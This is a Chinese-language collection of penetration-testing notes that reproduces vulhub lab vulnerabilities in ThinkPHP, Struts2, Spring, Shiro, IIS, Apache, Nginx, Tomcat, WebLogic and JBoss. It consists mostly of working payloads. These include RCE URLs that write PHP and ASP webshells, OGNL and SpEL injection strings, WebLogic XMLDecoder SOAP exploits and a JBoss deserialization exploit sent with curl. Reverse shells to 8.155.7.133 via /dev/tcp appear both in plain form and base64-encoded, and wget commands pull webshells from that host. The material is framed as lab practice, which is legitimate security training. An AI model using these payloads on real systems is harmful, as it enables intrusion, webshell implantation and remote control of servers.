1.Thinkphp
1.Thinkphp5x远程命令执⾏及getshell
搭建靶场环境
vulhub/thinkphp/5-rce
docker-compose up -d #启动环境
?
s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1]
[]=whoami

?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

写一个一句话木马
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php eval(\$_POST['a'])?>" >1.txt

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php eval(\$_POST['a'])?>" >1.php

使用蚁剑连一下


2.struts2
S2-057远程执行代码漏洞
靶场环境搭建
vulhub/struts2/s2-057
struts2-showcase/

struts2-showcase/$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action


3.Spring
Spring Data Rest 远程命令执行命令(CVE-2017-8046)
搭建靶场环境
vulhub/spring/CVE-2017-8046
docker-compose up -d #启动环境

customers/1

抓包
PATCH
json-patch+json
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]


docker exec -it my_container /bin/bash
ls /tmp

spring 代码执行 (CVE-2018-1273)
搭建靶场环境
vulhub/spring/CVE-2018-1273
docker-compose up -d #启动环境

users

填写信息抓包

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/h")]=&password=&repeatedPassword=


Shiro
Shiro漏洞指纹
响应包中存在字段set-Cookie: rememberMe=deleteMe
Shiro rememberMe反序列化漏洞(Shiro-550)
Apache Shiro框架提供了记住密码的功能(RememberMe),⽤户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
#靶场搭建
cd vulhub/shiro/CVE-2016-4437
docker-compose up -d

验证Shiro框架
使用BurpSuite进行抓包,在请求包中的cookie字段中添加rememberMe=123;,看响应包header中是否返回rememberMe=deleteMe值,若有,则证明该系统使用了Shiro框架
#构造语句
Cookie:rememberMe=123


利用工具
先爆破密钥;爆破利用链;执行命令

反弹shell
#开启对外服务
python3 -m http.server 8888
#监听端口
nc -lvvp 6666
#执行命令
wget -O /tmp/shell.sh http://IP/3.sh
/bin/bash /tmp/shell.sh

中间件
IIS
IIS6.x篇
PUT漏洞
IIS Server 在 Web 服务扩展中开启了 WebDAV ,配置了可以写入的权限,造成任意文件上传。
先来到首页

在当前页面抓取数据包
在看提交OPTIONS探测查看当前支持什么协议

用PUT上传文档,但不能直接上传方法脚本文档,可以先上传⼀个其他类型的文档,然后移动成脚本文档
PUT /1.txt HTTP/1.1
Host: 192.168.47.138
Content-Length: 23
<%eval request("cmd")%>

使用move命令修改文件名
MOVE /1.txt HTTP/1.1
Host: 192.168.47.138
Destination: http://192.168.47.138/shell.asp


IIS6.0解析漏洞
在iis6.x中,.asp文件夹中的任意文件都会被当做asp文件去执行

在默认网站里创建一个a.asp文件夹并创建一个1.jpg写进我们的asp代码
#asp一句话
<%eval request("h")%>
单独创建一个1.jpg发现并不能解析

在a.asp下被解析

在IIS 6 处理文件解析时,分号可以起到截断的效果。也就是说 shell.asp;.jpg会被服务器看成是
shell.asp。另外IIS6.0默认的可执行文件除了asp还包含 asa\cer\cdx
IIS短文件漏洞
Windows 以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于 MS-DOS 或 16位 Windows的程序访问这些文件。在cmd下输入" dir /x"即可看到短文件名的效果

#原理
当后缀⼩于4时,短文件名产生需要文件(夹)名前缀字符长度大于等于9位。
当后缀大于等于4时,文件名前缀字符长度即使为1,也会产生短文件名。
使⽤payload验证目标是否存在IIS短文件名漏洞,显示的404,说明目标存在该短文件名:
在根目录创建

访问
http://192.168.47.138/a*~1*/shell.aspx
404说明有这个文件



403说明没有


IS RCE-CVE-2017-7269
利用工具反弹shell
python2 '/root/桌面/iis6 reverse shell' 靶机IP 80 kali 8888

IIS 7x篇
HTTP.SYS远程代码执行(MS15-034) MS-->Microsoft 2015 -034




Apache
未知扩展名解析漏洞
cd /vulhub/httpd/apache_parsing_vulnerability
docker-compose up -d
无论我们的php在哪都会解析我们文件里的php代码

<?php @eval($_POST["c"])?>
访问一下我们上传的文件

AddHandler导致的解析漏洞
同上一样的
目录遍历漏洞

Apache HTTPD 换行解析漏洞(CVE-2017-15715)
cd vulhub/httpd/CVE-2017-15715
docker-compose up -d
上传我们的一句话;并使用BP抓取数据包

在我们的文件名后加一个空格

把我们的空格20换成0a

直接去访问我们的一句话

Nginx
文件解析漏洞
#靶场搭建
cd vulhub/nginx/nginx_parsing_vulnerability/
docker-compose up -d
上传我们的图片马

获取路径后

去访问我们的图片马并在后面加上/.php

蚁剑测试连接

目录遍历漏洞

CRLF注入漏洞
环境搭建
vluhub靶场
cd vulhub/nginx/insecure-configuration
docker-compose up -d
首页就是这样

然后打开BP进行抓包
在头部构造我们的语句
%0aSet-cookie:jessioni=1
在响应处就可以看到我们构造的cookie

文件名逻辑漏洞(CVE-2013-4547)
vulhub靶场
cd vulhub/nginx/CVE-2013-4547
docker-compose up -d
来到首页在当前页面上传1.jpg;并进行抓包
1.jpg内容


在文件末尾我们给他加一个空格

去访问/uploadfiles/1.jpg...php;并用BP抓包


把2e,2e,2e改为20,00,2e


tomcat
Tomcat 远程代码执行漏洞(CVE-2017-12615)
#靶场搭建
cd vulhub/tomcat/CVE-2017-12615
docker-compose up -d
来到首页;我们使用BP抓取当前页面数据包

PUT方式提交并写入木马
#绕过方式
PUT /shell.jsp%20
PUT /shell.jsp::$DATA
PUT /shell.jsp/

直接去访问我们的木马

tomcat弱口令&war远程部署
环境搭建
vulhub 靶场
cd vulhub/tomcat/tomcat8
docker-compose up -d
来到首页


在我们之前生成的jsp木马(1.jsp)给他打包成zip;后缀改位war


我们去访问一下访问成功就去连接


tomcat 远程代码执行(CVE-2019-0232)
来到首页

访问地址
/cgi-bin/cmd.bat
输入
/cgi-bin/cmd.bat?&C%3A%5CWindows%5Csystem32%5Ccalc.exe

下载出来了;说明靶机那里会弹计算机
Apache Tomcat文件包含漏洞(CVE-2020-1938)
环境搭建
vulhub靶场
cd vulhub/tomcat/CVE-2020-1938
docker-compose up -d
python cve-2020-1938.py -p 8009 -f /WEB-INF/web.xml 8.155.7.133

WebLogic
weblogic 弱口令getshell漏洞
环境搭建
vulhub 靶场
cd vulhub/weblogic/weak_password
docker-compose up -d
IP/console/login/LoginForm.jsp

部署-->安装

选择上传文件;选择我们之前war包



可以看到我们的war包

然后去访问我们的木马;哥斯拉连接

XMLDecoder反序列化漏洞(CVE-2017-3506)
环境搭建
vulhub 靶场
cd vulhub/weblogic/weak_password
docker-compose up -d
#访问以下⽬录中的⼀种,有回显如下图可以判断wls-wsat组件存在
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
/wls-wsat/CoordinatorPortType

在当前页面抓包之后,添加下面请求包,反弹shell。
先监听我们的6666端口

修改请求方式;构造POC

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/8.155.7.133/6666 0>&1</string>
</void>
</array>
<void method="start"/></object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
反弹成功

wls-wsat反序列化漏洞(CVE-2019-2725)
vulhub 靶场
cd vulhub/weblogic/weak_password
docker-compose up -d
/_async/AsyncResponseService

在当前页面抓包 , 修改请求包 , 写入shell
现在我们的home下创建1.txt;并写进jsp木马

python3 -m http.server 6666

修改请求方法;构造POC

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://8.155.7.133/1.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/678.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
木马位置
http://8.155.7.133:7001/bea_wls_internal/678.jsp

WebLogic T3协议反序列化命令执行漏洞(CVE-2018- 2628)
vulhub 靶场
cd vulhub/weblogic/CVE-2018-2628
docker-compose up -d
利用工具检测

WebLogic CVE-2018-2894文件任意上传
vulhub 靶场
cd vulhub/weblogic/CVE-2018-2894
docker-compose up -d
设置Web服务测试开启
/console/login/LoginForm.jsp

域结构 -> base-domain -> 高级 -> 启动Web服务测试页


然后保存;进入 config.do 文件进行设置,将目录设置为 ws_utc 应用的静态文件css目录,访问这个目录是无需权限的,这⼀点很重要
/ws_utc/config.do
#更改目录
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css


上传我们的木马

这个是我们的时间戳
121.40.229.129:7001/ws_utc/css/config/keystore/1726815031601_shell.jsp

CVE-2020-14882 WebLogic远程代码执行漏洞
vulhub 靶场
cd vulhub/weblogic/CVE-2020-14882
docker-compose up -d
#访问管理控制台
http://IP:7001/console/login/LoginForm.jsp
#使⽤以下url绕过登录认证
http://IP:7001/console/css/%252e%252e%252fconsole.portal

未授权访问绕过

http://IP:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabe=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success');")
可以看到执行成功了

JBoss
JMX Console未授权访问Getshell
vulhub 靶场
cd vulhub/jboss/CVE-2017-7504
docker-compose up -d
访问地址:/jmx-console/
这里我们使用得复现环境不存在,所以需要密码(正常环境无需密码直接可进⼊)
找到这个点进去

在找这个

制作war包填写远程地址
python3 -m http.server 8888


连接成功

JBOSSMQ JMS CVE-2017-7504 集群反序列化漏洞 4.X
vulhub 靶场
cd vulhub/jboss/CVE-2017-7504
docker-compose up -d
访问地址:/jbossmq-httpil/HTTPServerILServlet

python3 jexboss.py -u http://IP:8080


JBoss 5.x/6.x 反序列化命令执行漏洞(CVE-2017-12149)
vulhub 靶场
cd vulhub/jboss/CVE-2017-12149
docker-compose up -d
搭建好靶场后利用工具直接打

Jboss 5.x/6.x admin-Console后台部署war包Getshell
vulhub 靶场
cd vulhub/jboss/CVE-2017-12149
docker-compose up -d
访问地址:/jmx-console/


搭建远程部署 , 部署远程war包地址
python3 -m http.server 80



JBoss EJBInvokerServlet CVE-2013-4810 反序列化漏洞
vulhub 靶场
cd vulhub/jboss/JMXInvokerServlet-deserialization/
docker-compose up -d
搭建好后访问
/invoker/EJBInvokerServlet
返回如下说明存在反序列化

将反弹shell进行base64编码
bash -i >& /dev/tcp/8.155.7.133/6666 0>&1
CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE1NS43LjEzMy82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}">exp.ser
curl http://8.155.7.133:8080/invoker/JMXInvokerServlet --data-binary @exp.ser

成功反弹

JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)
vulhub 靶场
cd vulhub/jboss/JMXInvokerServlet-deserialization/
docker-compose up -d
跟上一关是一样的